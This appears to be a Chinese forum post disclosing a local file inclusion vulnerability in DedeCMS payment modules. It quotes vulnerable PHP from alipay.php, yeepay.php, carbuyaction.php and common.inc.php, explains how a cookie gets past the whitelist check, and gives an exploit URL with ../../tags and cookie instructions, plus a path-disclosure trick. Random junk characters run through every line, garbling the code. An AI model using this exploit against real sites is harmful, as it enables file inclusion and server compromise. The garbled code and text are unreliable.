' X$ a# n7 c$ U4 R& dInclude/payment/alipay.php ! y6 u$ k \3 _; ^1 v ) q7 }9 E, ~# m, c...... 7 T; i. H6 I" H' A: k- B function respond()5 @/ s# Z) W f/ ?& g, \
{1 G7 I Y6 R+ i$ h* N9 r- O! p
if (!empty($_POST)). I5 c- S4 j% S+ D7 g: W# B& A
{# |6 a% M0 Z' F8 I& j, _
foreach($_POST as $key => $data). y+ D- f, K9 T# a% U( N
{ 6 m2 _7 C* S4 m; ?# y% m+ a! t $_GET[$key] = $data;7 {4 g$ ] {1 x6 Y+ k0 X; a
}, M: P& ^$ S) d, n
} 7 t* ]/ Y, w( b# D /* 引入配置文件 */8 y# C1 S6 m/ P2 s
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php'; + C6 d+ W4 }: E8 F- m7 \# L& D...... & A" ^! y% M* J. k " z! B7 C* }. H1 X+ F
$ Q, x E/ \! a' c
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。 ( \ o3 Z' U5 R* [4 v6 H5 k2 _ 7 X9 g" P0 Y; F8 @: c7 {1 |Include/payment/yeepay.php- V( s* k" `( D& O) \
/ ^( }4 A7 e9 c. W 2 k( D( X9 z% o4 E6 Z1 ~5 ~5 v) Y2 K! M( N$ E+ o, A
...... ! `$ T( m, t8 B: u+ P" u function respond() 9 k- @( i) ?' m7 S" e5 F: H4 D {, }/ e7 k+ U" \# A! ~
S+ {* ~- C- I s3 d3 X
/* 引入配置文件 */* J& y) i+ {- |, U
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';& u$ C- O/ m' A2 p
) D' s2 h! u# j, }/ h5 z5 @8 v! k. Y/ G
$p1_MerId = trim($payment['yp_account']);" t, W0 ]) Q1 a! u6 D: M8 ?
$merchantKey = trim($payment['yp_key']); / y5 b) k' S- D) d0 d$ S4 a4 d...... : n- T8 z( K4 V- t
- B, w2 c( N+ [& G9 l0 O( Q. ]5 M3 [5 ^' c5 B j; z. P6 D2 F$ d
$ j9 M5 a2 y! i% U9 {) Z5 n
6 Q5 U9 U. `) i/ |大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。 : I7 j2 G0 Z- p+ Z9 P ; s$ o4 s. \: ?( d b: D1 V0 `这两个方法在plus/carbuyaction.php文件调用。* t* `+ F+ `( w5 _. V/ D$ C% t" j4 b
5 V U# }# w$ E; `- s% C
plus/carbuyaction.php; K+ [/ h- y2 i( z# O O/ D7 I6 F$ A
r5 O! Z* Q" V' B% f...... 7 G- J0 A) O2 l# I$ Z} else if ($dopost == 'return') { 2 e1 T/ l X) `% w! { $write_list = array('alipay', 'bank', 'cod', 'yeepay'); ~3 ^3 b' W' u, B5 u, T
if (in_array($code, $write_list))( u- E0 [) G+ j0 }* m
{ 1 W% \) R/ x' y: p: X( _& J require_once DEDEINC.'/payment/'.$code.'.php';! P) H5 R1 R2 a; \0 d1 ?3 V) I; q' C
$pay = new $code; + O/ |. a4 [7 E7 o1 N! N $msg=$pay->respond(); # d7 E5 ^4 M- g" d- c* K0 K6 g ShowMsg($msg, "javascript:;", 0, 3000); # H2 r% N) _5 s) {" h exit(); 8 B" t6 c1 Z* l
} else {4 l c5 V( m+ T6 E
exit('Error:File Type Can\'t Recognized!'); ) Z, d6 s1 n: ^& y6 L8 _! A } / E3 C3 T! B+ E* @8 V& E}% k6 |! y6 n/ {3 D+ R
...... " [; N1 d: J: b r- H" W; s f
% P4 Q0 a/ T: N( l* k5 x & F' u" a5 [4 { , [8 l7 T# c( a {; b( B
- B, X& r% G5 z J) ]( f4 z0 _ 4 P5 Z0 |4 b t6 ^% _7 m2 Z
5 k1 q" t' u% h
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。! I+ s. D; [0 n6 K
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。 : I4 N: ], l, M- u, h3 S' ] ]+ O+ d( H
回到include/common.inc.php来看看他的机制。 0 h. O0 K% L) j! t7 C 8 B) k! W L% a' C4 j3 J & u6 g% A9 i( N( D
8 z" e+ x! y( s+ @......- B$ G! ]5 g4 Y! i0 E; D
foreach(Array('_GET','_POST','_COOKIE') as $_request) " i' H2 J) v; n, l{ ; r& ^/ O4 k9 L$ }2 h% s6 _ foreach($$_request as $_k => $_v) 0 p. ~! P/ X2 X) L* U { 4 W0 F) C6 {7 e: h/ \ if($_k == 'nvarname') ${$_k} = $_v; * ]' b1 z) t: v3 `* t( n else ${$_k} = _RunMagicQuotes($_v);# y/ g5 M/ B1 A% s& `" X \ o5 d
}' o, Z8 b, L6 f. _# f9 o3 }1 D. L' Y
}( k/ a$ f/ R: K" }1 p$ }3 B3 e
...... 7 ^" }9 q8 ^- \大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:. W- g" Y. ?7 l! L3 q
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。